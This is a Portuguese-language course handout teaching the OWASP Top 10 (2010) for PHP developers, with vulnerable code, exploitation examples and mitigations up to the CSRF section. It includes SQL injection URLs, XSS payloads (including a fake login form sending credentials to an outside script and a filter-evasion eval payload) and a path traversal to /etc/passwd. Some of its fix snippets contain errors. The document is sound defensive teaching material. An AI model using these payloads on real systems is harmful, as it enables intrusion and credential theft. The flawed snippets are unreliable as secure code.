Top 10 OWASP com PHP

Er Galvão Abbott – Especialista em TI – www.galvao.eti.br – galvao@galvao.eti.br

Top 10 OWASP com PHP
Compreendendo e tratando os 10 riscos se segurança
mais críticos em aplicações web segundo o OWASP.

Por Er Galvão Abbott

CC Attribution-ShareAlike 3.0 Unported License by Er Galvão Abbott – 2011-03-10 – 1 / 48


Sobre o Autor

Er Galvão Abbott trabalha há mais de 15 anos
desenvolvendo sistemas e aplicações com interface web. Palestra
em eventos, dá cursos em diversas instituições e é o Diretor da
PHP Conference Brasil, o principal evento de PHP da América
Latina.
Especializou-se em segurança de aplicações web,
abordando o tema em uma época quando isso ainda era raro no
Brasil. Trabalhou com diversas empresas de grande porte, tanto
nacionais como internacionais.

Web: http://www.galvao.eti.br/
E-Mail: galvao@galvao.eti.br
Twitter: @galvao
Apresentações, Slides de Palestras, Documentos: http://slideshare.net/ergalvao



Licença de Uso

Este trabalho é distribuído por Er Galvão Abbott sob uma licença Creative
Commons Attribution-ShareAlike Unported License. Vocé é livre para distribuir, adaptar e
copiar este conteúdo sem a permissão prévia do Autor, contando que siga as seguintes
diretrizes:

1. Qualquer uso deste conteúdo, no todo ou em parte, deve conter o crédito para o
Autor e a URL do site do mesmo.
2. O Autor deve ser informado, pelo e-mail galvao@galvao.eti.br sobre o uso deste
conteúdo.



ÍndiceAutor.........................................................................................................................2
Sobre o
Licença de Uso......................................................................................................................3
Objetivo..................................................................................................................................7
Aviso.......................................................................................................................................7
Introdução..............................................................................................................................8
O que é o OWASP e por que é importante.......................................................................8
Conceitos...........................................................................................................................9
O Top 10............................................................................................................................9
O Top 10 em detalhes..........................................................................................................10
Injeção.............................................................................................................................10
Consequências Possíveis...........................................................................................10
Exemplo de código vulnerável....................................................................................11
Exemplos de exploração.............................................................................................12
Soluções insuficientes.................................................................................................12
Recomendações..........................................................................................................13
Recomendações específicas para PHP......................................................................14
Recomendações PHP na prática................................................................................14

.........................................................................................................................................17
Cross Site Scripting – XSS..............................................................................................18
Reflected......................................................................................................................18
Stored..........................................................................................................................18
DOM Injection..............................................................................................................18
Consequências Possíveis...........................................................................................18



Recomendações..........................................................................................................21
Autenticação Falha e Gerenciamento de Sessão...........................................................23
Consequências possíveis............................................................................................23
Recomendações..........................................................................................................24
Referência Direta e Insegura a Objetos..........................................................................26
Soluções Insuficientes.................................................................................................27
Recomendações..........................................................................................................28
Cross Site Request Forgery – CSRF .............................................................................30
Recomendações..........................................................................................................31
Configuração Equivocada de Segurança........................................................................33
Recomendações..........................................................................................................35
Armazenamento Criptográfico Inseguro..........................................................................36
Recomendações..........................................................................................................38
Falha de Restrição de Acesso a URL.............................................................................39



Recomendações..........................................................................................................41
Recomendações específicas para PHP .....................................................................41
Recomendações na prática.........................................................................................41
Proteção Insuficiente a Camada de Transporte..............................................................42
Recomendações..........................................................................................................43
Redirects e Forwards não validados...............................................................................43
Recomendações..........................................................................................................43
Conclusão............................................................................................................................44
Glossário..............................................................................................................................45
Referências..........................................................................................................................48



Objetivo

O objetivo deste curso é compreender o que são e como funcionam os dez riscos
de segurança mais críticos para aplicações web, conforme apresentados pelo OWASP
(Open Web Application Security Project). Serão apresentados conceitos, exemplos
práticos e soluções para mitigar cada um dos riscos aqui apresentados.

Aviso

O conteúdo prático e teórico deste curso serve para propósitos puramente
didáticos. A idéia é conscientizar os profissionais e auxiliá-los a entender e mitigar os
riscos de segurança presentes nas aplicações web.
O autor não se responsabiliza pelo mau uso de qualquer conceito, exemplo
e/ou código-fonte aqui apresentado, a garantia de soluções definitivas para os
problemas apresentados e/ou qualquer outra consequência da
execução/implementação do conteúdo deste material.



Introdução

O que é o OWASP e por que é importante

O OWASP (Open Web Application Security Project, ou Projeto Aberto para
Segurança de Aplicações Web) é uma comunidade aberta no formato Wiki, suportada por
uma fundação sem fins lucrativos. Tem como principal objetivo disseminar conhecimento
na área de segurança da informação, tendo como foco principal o desenvolvimento de
aplicações web.
Sendo uma iniciativa que não visa lucro e não é ligada à nenhuma empresa, o
OWASP provê informação livre de pressões comerciais e é orientado pelo consenso geral
dos profissionais envolvidos e pela execução prática de código-fonte.
O projeto provê extensa documentação sobre segurança da informação com uma
categorização extensa e de prática pesquisa, incluindo a categorização por linguagem.
Além disso, organiza eventos e procura prover soluções de código-fonte para as mais
diversas vulnerabilidades que põem em risco as aplicações web nos dias de hoje.
Embora seja baseado nos Estados Unidos, o OWASP é uma iniciativa internacional
tendo capítulos locais em diversos países do mundo, incluindo o Brasil. Isso significa que
a informação disponibilizada pelo projeto pode ser encontrada, através de traduções do
material original, nos mais diversos idiomas.
A importância do OWASP resume-se à sua própria existência: ao se criar este tipo
de iniciativa, que conta com o necessário apoio da massa de profissionais de TI, cria-se
um grande repositório que promove não apenas o conhecimento, mas a conscientização
para os riscos presentes para as aplicações web e a necessidade de se tomar atitudes à
respeito.
Além disso o mercado de desenvolvimento tem um crescimento e uma
profissionalização naturais decorrentes desta conscientização. É um ciclo benéfico:
quanto mais se divulga a importância do projeto mais se promove o amadurecimento das
aplicações web, tanto já disponíveis como novas e o mercado ganha a confiança de que
tanto precisa.



Conceitos

Assim como o próprio conhecimento, o OWASP e suas iniciativas – entre elas o
Top 10 – também evoluem. Inicialmente tratando de conceitos como ataques, o Top 10
passou a corrigir-se e esclarecer-se com o passar do tempo. Atualmente o foco do Top 10
é o risco, de forma a deixar mais claro para profissionais e empresas o que representam
as possíveis falhas de segurança em aplicações web.

O Top 10

O Top 10 é um dos muitos projetos do OWASP. Procura listar e rankear os dez riscos de
segurança mais críticos em aplicações web, e foi criado originalmente tomando como
base a listagem feita pela MITRE, uma corporação que trabalha junto à órgãos federais
do governo Norte-Americano.

A listagem é atualizada com uma certa periodicidade, sendo que a última
atualização (de 2010) será a que utilizaremos neste curso. Esta é o ranking oficial dos 10
riscos de segurança mais críticos em aplicações web, segundo o OWASP:

1. Injeção
2. Cross Site Scripting – XSS
3. Autenticação Falha e Gerenciamento de Sessão
4. Referência Insegura Direta à Objetos
5. Cross Site Request Forgery – CSRF
6. Configuração de Segurança Equivocada
7. Armazenamento Criptográfico Inseguro
8. Falha de Restrição de Acesso à URL
9. Proteção Insuficiente à Camada de Transporte
10. Redirects e Forwards não validados



O Top 10 em detalhes

Injeção

O que são: Falhas de injeção, particularmente SQL Injection, são extremamente comuns
em aplicações web. Elas ocorrem quando um dado enviado pelo usuário “engana” o
interpretador da linguagem, fazendo com que este execute comandos indesejáveis.
Tipos conhecidos: SQL, LDAP, XPath, XSLT, HTML, XML, Comandos de SOs, etc...
Ambientes afetados: Todo e qualquer ambiente web.
Detalhamento, Exemplos e Soluções:
Todas as falhas de injeção, independente de tipo, acontecem basicamente por uma
falta de validação e tratamento de dados de entrada (input) por parte do desenvolvedor.
O tipo de vulnerabilidade, neste caso, irá variar diretamente de acordo com o tipo
de ações que o sistema executa. Por exemplo, uma aplicação que não faz consulta à
nenhum RDBMS, não será vulnerável à Falhas de Injeção de SQL.
Trataremos, neste material, da falha de injeção mais comum: SQL Injection.

Consequências Possíveis
● Corrupção de dados
● Exposição de dados
● Inserção de registros maliciosos
● DoS (Denial of Service)
● Exposição de credenciais de acesso



Exemplo de código vulnerável

<?php
require('config/config.php');
$conn = mysql_connect(SERVIDOR, USUARIO, SENHA);
mysql_select_db(DB);

$sql = 'SELECT p.nome as produto, c.nome as categoria, p.foto as foto, p.descricao
as desc FROM produtos p, categorias c WHERE p.id_produto = c.id_categoria and
c.id_categoria = ' . $_GET['cat'] . ' LIMIT 10';
$resultado = mysql_query($sql);

while ($registro = mysql_fetch_assoc($resultado)) {
echo $registro['foto'] . '   ' . $registro['produto'] . '<br />';
echo $registro['categoria'] . '<br />';
echo $registro['descricao'];
echo '<br /><br />';
}

mysql_close();
?>

Neste exemplo, de listagem de produtos à partir de uma consulta à base de dados, este
script seria tipicamente acessado por uma URL, como no exemplo abaixo:

http://www.galvao.eti.br/lista_produtos.php?cat=1

Todavia, ao se permitir a entrada de informações que influenciarão a consulta sem
o devido cuidado de tratá-las antes de enviá-las ao RDBMS, permitimos a injeção de
caracteres que são sintaticamente interpretados pelo RDBMS:



Exemplos de exploração

Exemplo #1 – Listando todos os produtos

http://www.galvao.eti.br/lista_produtos.php?cat=1 or 1=1

Exemplo #2 – Listando todos os produtos (mesmo!)

http://www.galvao.eti.br/lista_produtos.php?cat=1 or 1=1--

Exemplo #3 – Provocando erros na execução da consulta

http://www.galvao.eti.br/lista_produtos.php?cat=1 or erro!;#$

Exemplo #4 – Investigando nomes de tabelas

http://www.galvao.eti.br/lista_produtos.php?cat=1 and (select count(*) from usuarios) > 0

Exemplo #5 – Investigando colunas e dados em tabelas diferentes

http://www.galvao.eti.br/lista_produtos.php?cat=1 and (select count(*) from usuarios where id_usuario
= 10) > 0

Soluções insuficientes

Um dos erros clássicos no tratamento de vulnerabilidades de injeção de SQL é a
precupação exclusiva com alguns caracteres (como a aspa simples, por exemplo). Esta
abordagem é equivalente, e consequentemente de fácil contorno, à qualquer solução
black list.



Observe que em nenhum dos exemplos acima utilizamos a aspa simples, mas
mesmo assim fomos capazes de executar explorações das mais perigosas. É por razões
como essa que a solução abaixo é ineficiente:

<?php
/* Este código é idêntico ao exemplo anterior com exceção da linha: */
$resultado = mysql_query(addslashes($sql));
?>

A função addslashes, de forma similar à configuração magic_quotes_gpc, trabalha
com o conceito de black list e pior ainda, de forma limitada, como ocorre com a função
htmlspecialchars.
Outro equívoco comum é procurar tratar este tipo de vulnerabilidade refinando-se a
consulta (o caso específico do LIMIT). Pela simples adição de dois hífens (que significam
“comentário” para a maioria dos RDBMSs) forçamos a aplicação à simplesmente ignorar o
limite pré-definido ou qualquer outro refinamento, como é demonstrado no Exemplo #2.

Recomendações

● Validação de entrada de dados (input): Valide todos os dados que entrarem para
sua aplicação, considerando não apenas o seu valor, mas comprimento do dado,
tipo e regras de negócio.
● Queries tipadas e parametrizadas: Utilize APIs que permitam o uso de queries
parametrizadas e com tipagem forte, com marcadores de substituição.
● Menos privilégios de acesso: Crie um usuário com permissões específicas para
aplicações que utilizem um RDBMS ou alguma outra forma de backend. Evite
utilizar um usuário com privilégios administrativos para uso na aplicação.
● Menos informação: Evite mensagens de erro detalhadas, que forneçam muitos
detalhes à um atacante.
● Use stored procedures: Por possuírem uma forte tipagem – tanto para parâmetros
como para retorno de valores – além de serem mais versáteis em termos de
código, as stored procedures são geralmente consideradas menos vulneráveis à
ataques de injeção.
● Não execute queries dinâmicas diretamente: funções que executam queries
diretamente, como mysql_query ou pg_query, são normalmente mais vulneráveis.
● Não use funções simples de escape: Funções como addslashes ou str_replace



provêem uma solução insuficiente para este tipo de vulnerabilidade.
● Cuidado com erros de canonicalização: Entradas de dados devem ser
decodificadas e canonicalizadas antes da validação. Certifique-se de que sua
aplicação não decodifique a mesma entrada de dados mais de uma vez.

Recomendações específicas para PHP

● Utilize a função addcslashes no lugar da addslashes: embora seja uma solução do
tipo black list, a função addcslashes permite ao programador identificar quais
caracteres devem ser escapados, dando maior liberdade ao programador.
● Utilize APIs que possibilitem o uso de queries parametrizadas: PDO, ADODB, etc...
● No ambiente de produção, ajuste as configurações display_errors para Off,
log_errors para On e defina o caminho do arquivo de log na configuração error_log.
Caso não seja possível consulte seu provedor.

Recomendações PHP na prática

<?php

// Tratando alguns caracteres sintáticos em SQL:
$entradaFiltrada = addcslashes($_GET['cat'], ''-*|/');

$sql = 'SELECT p.nome as produto, c.nome as categoria, p.foto as foto, p.descricao as desc FROM
produtos p, categorias c WHERE p.id_produto = c.id_categoria and c.id_categoria = ' .
$entradaFiltrada . ' LIMIT 10';

}

mysql_close();
?>

A solução acima, embora baseada em black list, é muito superior ao uso da função
addslashes: Desta vez estamos tratando diversos caracteres, como o hífen, impedindo
diversas das explorações que demonstramos anteriormente.



Uma das dificuldades ao se reforçar uma aplicação contra vulnerabilidades de
injeção é que nem sempre é simples implementarmos uma abordagem de white list. Em
nosso exemplo específico, entretanto, isso é relativamente simples, já que um id de
categoria necessita ser, explicitamente, numérico.

<?php

if (preg_match('/[^0-9]+/', $_GET['id'])) {
die('Dado inválido!');
} else {

$sql = 'SELECT p.nome as produto, c.nome as categoria, p.foto as foto, p.descricao as desc
FROM produtos p, categorias c WHERE p.id_produto = c.id_categoria and c.id_categoria = ' .
$_GET['id'] . ' LIMIT 10';

}

mysql_close();
}
?>



<?php
// Utilizando ADODB e queries parametrizadas.
// Além disso “implementamos” a tipagem de dados na ADODB

require_once '../libs/adodb5/adodb.inc.php';

$conn = &ADONewConnection('mysql');
$conn->debug = true;
$conn->Connect(SERVIDOR, USUARIO, SENHA, DB);

$sql = 'SELECT p.nome as produto, c.nome as categoria, p.foto as foto, p.descricao as desc FROM
produtos p, categorias c WHERE p.id_produto = c.id_categoria and c.id_categoria = ' . $conn-
>Param('id') . ' LIMIT 1';

$resultado = $conn->Execute($sql, array('id' => (int)$_GET['id']));

while (!$resultado->EOF) {
echo $resultado->fields('foto') . '   ' . $resultado->fields('produto') . '<br />';
echo $resultado->fields('categoria') . '<br />';
echo $resultado->fields('descricao');

$resultado->MoveNext();
}

$conn->Close();
?>



<?php
// Utilizando PDO

$dsn = 'mysql:dbname=foo;host=127.0.0.1';
$user = 'usuario';
$password = 'senha';

try {
$conn = new PDO($dsn, $user, $password);
} catch (PDOException $e) {
die('Falha na conexão.');
}

$sql = $conn->prepare('SELECT p.nome as produto, c.nome as categoria, p.foto as foto, p.descricao
as desc FROM produtos p, categorias c WHERE p.id_produto = c.id_categoria and c.id_categoria = ?
LIMIT 1');

$sql->bindParam(1, $_GET['id'], PDO::PARAM_INT);
$sql->execute();

while ($resultado = $sql->fetch(PDO::FETCH_ASSOC)) {
echo $resultado['foto'] . '   ' . $resultado['produto'] . '<br />';
echo $resultado['categoria'] . '<br />';
echo $resultado['descricao'];
}
?>



Cross Site Scripting – XSS
O que é: É a vulnerabilidade mais comum e perniciosa em aplicações web. Ocorre
quando uma aplicação recebe dados de um usuário e os retorna para o browser sem
validar ou codificar estes dados.
Tipos conhecidos: Refletido, Armazenado e Injeção de DOM.

Reflected
O tipo mais simples de ilustrar, quando se trata de vulnerabilidades XSS é o
refletido: trata-se simplesmente de receber o input de um usuário e retornar diretamente
para o browser. Sua ocorrência é cada vez mais comum devido à popularização do AJAX
e dos mashups, tecnologias cujo foco é o retorno rápido de informação.
Na realidade pode-se argumentar que todo o XSS é refletido de alguma forma,
tornando este tipo uma espécie de base para o entendimento desta vulnerabilidade.

Stored
O tipo armazenado ocorre quando uma exploração da vulnerabilidade XSS é
armazenada em algum meio para que seja recuperada posteriormente, como bases de
dados ou arquivos HTML criados dinamicamente, por exemplo.
Isto aumenta consideravelmente o prejuízo causado por um ataque pelo simples
fato de que o ataque se repetirá automaticamente cada vez que a informação
armazenada for recuperada e exibida.

DOM Injection
O tipo injeção de DOM é perigoso na medida que trabalha manipulando e/ou
criando código client-side (normalmente Javascript) na página. Desta forma uma
variedade ampla de consequências se torna possível.

Consequências Possíveis
● Defacement
● Injeção de conteúdo inapropriado
● Phishing




<?php
echo $_POST['comentario'];
?>

Exemplo #1 – Inserção de conteúdo

<img src=”http://www.galvao.eti.br/images/er_galvao_abbott.jpg” />

Exemplo #2 – Phishing

<script type=”text/javascript”>window.onload=function() {document.body.innerHTML=”Sua sessão
expirou por inatividade. Por favor faça login novamente:<br /><form
action='http://www.galvao.eti.br/rouba_dados.php'><input type='text' name='login' size='10' /><br
/><input type='password' name='senha' size='10' /><inhput type='submit' value='Entrar'
/></form>”;}</script>

Exemplo #3 – Mais Phishing

<script type=”text/javascript”>window.onload=function() {document.body.innerHTML=”<iframe
src='http://www.galvao.eti.br/index' style='border: 0px; width: 100%; height: 100%; margin: 0px;
padding: 0px;'></iframe>”;}</script>

Exemplo #4 – Defacement

<script type=”text/javascript”>window.onload=function() {for (x = 0; x < document.images.length; x++)
{ document.images[x].src=”http://www.galvao.eti.br/images/er_galvao_abbott.jpg”; }}</script>




Em instalações anteriores do interpretador PHP nenhum dos exemplos acima
funcionaria, devido à uma configuração da linguagem chamada magic_quotes_gpc, que
fazia o escape automático de aspas, tanto simples quanto duplas.
Esta configuração era uma solução insuficiente, porque se baseia no conceito de
black list. Sabendo-se que o tratamento é feito em cima de caracteres específicos, tudo o
que temos que fazer é nos adaptarmos. Como nossa intenção ao explorar essa
vulnerabilidade é afetar o lado cliente, precisamos encontrar uma solução cliente que nos
permita realizar o ataque.
Vejamos uma variação do Exemplo #3 que passa tranquilamente pela
magic_quotes_gpc, ou outras soluções Black List:

<script>window.onload=function() { eval(String.fromCharCode(100) + String.fromCharCode(111) +
String.fromCharCode(99) + String.fromCharCode(117) + String.fromCharCode(109) +
String.fromCharCode(62) + String.fromCharCode(34) + String.fromCharCode(59)); } </script>

Através de uma combinação de uma função eval e um método de geração de
caracteres (fromCharCode) e o mais importante, sem usar uma única aspa, o ataque se
torna bem-sucedido.



Recomendações

As soluções recomendadas pelo OWASP e pelos profissionais de segurança é,
similar ao magic_quotes_gpc, a filtragem dos dados, porém com uma diferença crucial: a
validação é feita através de white list, ou seja, apenas considerando-se caracteres
válidos.
Estas são as recomendações:
● Validação de entrada de dados (input): Valide todos os dados que entrarem para
sua aplicação, considerando não apenas o seu valor, mas comprimento do dado,
tipo e regras de negócio.
● Codificando a saída de dados (output): Trate as entidades HTML apropriadamente
e aplique isso à todos os dados que são alimentados pelo(s) usuário(s). Acostume-
se à definir o encoding de suas páginas, de forma à evitar que diferentes encodings
sejam utilizados para forçar sua aplicação à aceitar caracteres inválidos.
● Valide sempre por white lists: Como vimos no exemplo anterior o tratamento de
caracteres “inválidos” - como ocorre com a magic_quotes_gpc – é completamente
ineficiente, sendo relativamente simples de se construir maneiras de atravessar
este tipo de proteção.
● Cuidado com erros de canonicalização: Entradas de dados devem ser
decodificadas e canonicalizadas antes da validação. Certifique-se de que sua
aplicação não decodifique a mesma entrada de dados mais de uma vez.


● Garanta a passagem dos dados pela função htmlentities ou use a Biblioteca Anti-
XSS do OWASP.
● Desabilite a configuração register_globals, caso esteja ativada.




<?php
echo htmlentities($_POST['comentario'], ENT_QUOTES, 'UTF-8', true);
?>

Observe que utilizamos a função htmlentities no lugar da função htmlspecialchars
propositalmente. Isto é feito porque a primeira converte todos os caracteres possíveis
para suas entidades HTML, enquanto que a segunda converte apenas alguns caracteres,
tornando-se nada mais nada menos do que uma solução do tipo black list.
Em alguns casos é desejável permitir tags HTML. Quando algum destes casos
ocorrer ao invés de procurarmos por tags indesejáveis (solução black list) devemos
verificar apenas pelas tags que consideraremos válidas (solução white list):

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Insert title here</title>
</head>
<body>
<img src="http://www.galvao.eti.br/images/logoG.jpg" />
<?php
$tags_validas = array('font', 'b', 'i', 'u');

foreach ($tags_validas as &$tv) {
$tv = '<' . $tv . '>';
}

$comentario = htmlentities($_POST['comentario'], ENT_QUOTES, 'UTF-8', true);

if (preg_match('/<[a-z]+>/mi', $comentario, $results)) {
foreach ($results as $r) {
if (!in_array($r, $tags_validas)) {
die('Tag inválida encontrada: ' . $r);
}
}
}

echo html_entity_decode($comentario, ENT_QUOTES, 'UTF-8');
?>
</body>
</html>



Autenticação Falha e Gerenciamento de Sessão

O que é: Vulnerabilidades desse tipo frequentemente envolvem a falha em proteger as
credenciais de acesso do usuário e tokens de sessão. Basicamente, este item do Top 10
se refere não apenas aos problemas de sessão, mas também à questões epecíficas de
autenticação.
Tipos conhecidos: -

Falhas na rotina principal de autenticação não são incomuns, mas fraquezas
relacionadas à estas vulnerabilidades geralmente são encontradas em funções auxiliares
como logout, tempo de expiração, lembrete de senhas, atualização de contas de acesso e
gerenciamento de senhas.

Consequências possíveis

● Exposição de credenciais de acesso.
● Sequestro de contas de acesso.
● Violação de privacidade de usuários.
● Comprometimento da aplicação.


As questões relacionadas à esta vulnerabilidade não podem ser demonstradas, à
exemplo das demais, por exemplos “clássicos”. Sendo assim, veremos com maior foco a
parte de recomendações e código PHP na prática.




Sessões e rotinas de autenticação são assuntos frequentemente subestimados
pelos desenvolvedores. Grande parte das rotinas de gerenciamento de sessões, por
exemplo, não possuem uma preocupação em re-gerar o ID da sessão ou confiam na
configuração/funcionalidade session.use_trans_sid, que acaba por expor o ID da sessão
em links.

Recomendações

● Utilize mecanismos de gerenciamento de sessões conhecidos, evite re-escrever
funcionalidades que já são suportadas pela linguagem ou por um framework, por
exemplo.
● Não aceite que IDs de sessão sejam passados como parâmetro, seja por query
string ou formulário.
● Evite, se possível, usar rotinas de fixação de usuários autenticados,
● Utilize uma rotina única, fortemente protegida, de autenticação.
● Considere re-gerar o ID de sessão à cada autenticação ou mudança de privilégios
de acesso.
● Disponibilize um link de logout em todas as páginas da aplicação. Lembre-se: a
rotina de logout deve, obrigatoriamente, destruir todo e qualquer dado da sessão
tanto do lado servidor quanto do lado cliente.
● Rotinas de logout devem ser simples, de forma que pedidos de confirmação, por
exemplo, sejam evitados. Lembre-se: você pode perder tempo programando
rotinas de confirmação de logout, mas o usuário nem sempre terá paciência pra
fazer o mesmo.
● Utilize um período de tempo para automaticamente realizar o logout de sessões
inativas (timeout). Dê preferência para esquemas de “pergunta/resposta” ou reset
de senhas.
● Não confie em dados que podem ser forjados como Endereços IP ou partes deste
(como verificar endereços IP de uma intranet, por exemplo), DNS, referrers ou
similares como única forma de autenticação.




<?php
// Re-gerando um id de sessão
session_start();
// Código que faz a autenticação ou mudança de privilégios de acesso
session_regenerate_id(true);
// Restante do código
?>

<?php
// Destruindo todos os dados de sessão (parascripts de logout)
session_start();

// Destrói todas as variáveis de sessão
$_SESSION = array();

// Destrói o cookie da sessão
if (isset($_COOKIE[session_name()])) {
setcookie(session_name(), '', time()-42000, '/');
}

// Destrói a sessão em si
session_destroy();
?>

Para definir uma rotina de timeout o ideal é utilizar uma fonte externa (como o
RDBMS, por exemplo) para armazenar o timestamp de uma sessão criada, de forma que
se possa verificar, de tempos em tempos, sessões inativas. Todo e qualquer script, à
partir dessa abordagem, deve atualizar o RDBMS, informando a “última vez em que
ocorreu uma ação” (ou seja simplesmente atualizando o timestamp).
Ainda segundo esta abordagem, o ideal, quando possível, é criar uma forma
independente da aplicação em si de checar e marcar registros como “inválidos por
inatividade”. Para isto pode-se definir um script que seja executado via crontab/Agendador
de Tarefas ou através da programação de uma stored procedure no RDBMS.



Referência Direta e Insegura a Objetos

O que é: Uma referência direta à objeto ocorre quando um desenvolvedor expôe uma
referência para um objeto implementado internamente na aplicação – como um arquivo,
diretório ou registro da base de dados, por exemplo – como um parâmetro passado via
URL ou formulário. Um atacante pode manipular referências diretas à objetos para
acessar outros objetos sem autorização, à não ser que uma checagem de controle de
acesso seja implementada.
Tipos Conhecidos: -
Muitos atacantes experimentam com parâmetros e elementos de formulário de
forma à comprometer uma aplicação. A maioria dos casos de aplicações vulneráveis faz
referência à arquivos ou registros de bases de dados. Vejamos um exemplo:

http://www.galvao.eti.br/editPerfil.php?uid=12

<?php
/* Código para acessar a base */
$sql = 'SELECT email, site, foto FROM usuarios WHERE usuario_id = ' . $conn->Param('id') . ' LIMIT
1';

$prep = $conn->Prepare($sql);
$resultado = $conn->Execute($sql, array('id' => (int)$_GET['uid']));

/* Código para gerar campos de formulário */
}
?>

Como não há nenhuma checagem de segurança ou controle de acesso, um
atacante pode editar o perfil de qualquer usuário simplesmente alterando o parâmetro 'uid'
presente na query string, já que este faz referência direta à um objeto (neste caso um
registro presente na base de dados).




Além do exemplo acima, podemos citar também o caso clássico de interação entre
formulário e script. Considerando-se que possuímos arquivos próprios para cada idioma
(como por exemplo 'pt.php' e 'en.php'):

/* Código HTML padrão de formulário */
<select name=”idioma”>
<option value=”en”>inglês</option>
<option value=”pt”>português</option>
</select>

<?php
require $_REQUEST['idioma'];
/* código restante */
?>

Este script pode ser facilmente enganado através da manipulação do valor do
elemento:

http://www.galvao.eti.br/seleciona_idioma.php?idioma=/etc/passwd

Obs.: Utilizamos o array superglobal $_REQUEST propositalmente neste exemplo para
simplificarmos a exemplificação da exploração desta vulnerabilidade. Não esqueça:
requisições pelo método POST são tecnicamente mais complexas de serem forjadas, mas
igualmente possíveis.

Soluções Insuficientes

Embora rotinas de controle de acesso (que veremos na prática à seguir) sejam
indispensáveis para minimizar esta vulnerabilidade, elas não são suficientes por si só: é
necessário, nos casos de referências à arquivos, por exemplo, um mapeamento indireto
dos arquivos de forma à assegurar que o sistema de arquivos da máquina que roda a
aplicação não seja exposto.



Recomendações

● Utilize um processo de indexação/mapeamento dos objetos da aplicação, de forma
que eles não sejam expostos diretamente.
● Valide referências indiretas à objetos, através de – como de costume – uma rotina
de white list.
● Implemente uma rotina de controle de acesso, de forma à se assegurar de que o
usuário só tenha acesso ao que lhe é devido.


<?php
/* Código para acessar a base */
$sql = 'SELECT email, site, foto FROM usuarios WHERE usuario_id = ' . $conn->Param('id') . ' AND
usuario_id = ' . $user->getID() . ' LIMIT 1';

$prep = $conn->Prepare($sql);
$resultado = $conn->Execute($sql, array('id' => (int)$_GET['uid']));

/* Código para gerar campos de formulário */
}
?>

Observe a pequena porém importantíssima modificação no código: o usuário, à
partir deste momento, terá acesso apenas a página de modificação do seu próprio perfil.
À seguir veremos duas abordagens distintas para o problema da referência direta à
arquivos:



Exemplo #1:

<?php
// Através de indexação indireta
$idiomas = array('en', 'pt');
$idioma_OK = (int)$_GET['idioma'];

if (in_array($id_OK, array_keys($idiomas))) {
require $idiomas[$id_OK] . '.php';
}
?>

Exemplo #2:

<?php
// Através de indexação indireta, com checagem via white list
$idiomas = array('en', 'pt');

if (!preg_match('/^[0-9]{1}$/', $_GET['idioma'])) {
die('Arquivo não encontrado');
} else {
if (in_array($_GET['idioma'], array_keys($idiomas))) {
require $idiomas[$_GET['idioma']] . '.php';
}
}
?>

Embora tecnicamente eficientes há uma diferença importante entre estas
abordagens:
O Exemplo #2 utiliza, explicitamente, a abordagem de white list para verficação se
o dado recebido é, de fato numérico. O Exemplo #1 não faz, na prática, esta validação,
porém 'força' a tipagem do dado para um número inteiro através da construção int. Isto
significa que enquanto no Exemplo #2 um dado não-numérico será automaticamente
barrado pela aplicação, o mesmo não ocorrerá no primeiro caso.
O Exemplo #1 implementa uma espécie de rotina de fallback, onde dados não-
numéricos resultarão no seu equivalente numérico caso iniciem por um número ou no
número 0 (zero) no caso de iniciarem por caracteres não-numéricos.
É pelos motivos apresentados acima que a abordagem do exemplo #2 é,
tecnicamente, a mais correta e segura.



Cross Site Request Forgery – CSRF

O que é: Vulnerabilidades CSRF causam ataques devastadores: Ataques baseados nesta
vulnerabilidade 'forçam' um browser de um usuário logado em uma aplicação a enviar
uma requisição para uma aplicação vulnerável, que por sua vez executará uma ação em
nome do usuário.
Tipos conhecidos: Esta vulnerabilidade também é conhecida pelos nomes: Session
Riding, One-click Attack, Cross Site Reference Forgery, Hostile Linking e Automation
Attack. Também é conhecida pelo acrônimo XSRF, embora tanto o OWASP como a
MITRE tenham chegado no consenso de utilizar o acrônimo CSRF e o nome Cross Site
Request Forgery.

Uma das principais causas da existência desta vulnerabilidade é a confiança
excessiva por parte da aplicação em credenciais de acesso automaticamente
transmitidas, como um cookie de sessão, ou por permitir que credenciais de acesso sejam
transmitidas por parâmetros de query string ou formulário sem checagens de segurança
adicionais.
Embora não sejam absolutamente necessárias para que ocorram falhas de CSRF,
toda a aplicação vulnerável à XSS é, via de regra, um veículo para ataques baseados em
CSRF, pois tags injetadas podem conter o direcionamento necessário para a aplicação
vulnerável.


Diversas. A consequência da exploração de uma vulnerabilidade CSRF está
diretamente ligada ao tipo de ações possíveis na aplicação vulnerável.




Exemplo #1 – Confiando em cookies

<?php
if (isset($_COOKIE['cliente_autenticado'])) {
// Qualquer código de validação das informações contidas no cookie
// Seguido do código que implementa um comportamento “normal” da aplicação
// como se o usuário já estivesse autenticado.
}
?>

É importante frisar que, embora o exemplo clássico desta vulnerabilidade esteja
associado à confiança em cookies, mesmo as aplicações que não lidam com cookies ou
sempre realizam a autenticação do usuário não são necessariamente seguras, embora
sejam mais complexas de serem atacadas.
Isto ocorre porque se as credenciais do usuário forem expostas por qualquer
motivo, elas podem ser enviadas em uma requisição forjada para o script de autenticação,
e consequentemente permitir uma ação em nome do usuário posteriormente.


Qualquer solução que não implemente uma checagem de segurança que se baseie
em uma forte rotina de verificação que não seja disponível para o browser é, por
definição, insuficiente.

Recomendações

● Certifique-se de que sua aplicação não seja vulnerável à ataques XSS.
● Trabalhe com tokens específicos que não sejam armazenados em nenhum meio –
como sessões, por exemplo – que possibilite ao browser “lembrá-los”.
● Para ações extremamente delicadas, re-autentique o usuário.
● Não utilize o requisições GET para ações delicadas.




Uma das soluções para os ataques que se baseiam em CSRF é a inclusão de um
Token de validação que não seja transmitido por URL ou sessão e que não possa ser
“advinhado”:

1 Uma classe para o controle destes tokens funcionaria, a grosso modo, assim:
1.1 Gerar novos tokens
1.2 Armazenar tokens gerados em um RDBMS de forma à utilizá-los
1.3 Os tokens expirarão depois de um tempo pré-definido.
2 O script responsável por realizar a autenticação, por sua vez, não apenas checará
pela validade do token, como fará com que ele expire automaticamente depois do
seu uso.

Observe-se que, embora a prática seja relativamente complexa, a teoria por trás
disso é simples: o ponto crucial é que se utilize uma espécie de “chave” de validação que
seja independente do browser e que não seja “memorizado” por nenhum mecanismo de
armazenamento do lado cliente.
Desta forma impedimos que um ataque que procura explorar vulnerabilidades
CSRF tente transmitir automaticamente esta chave.



Configuração Equivocada de Segurança

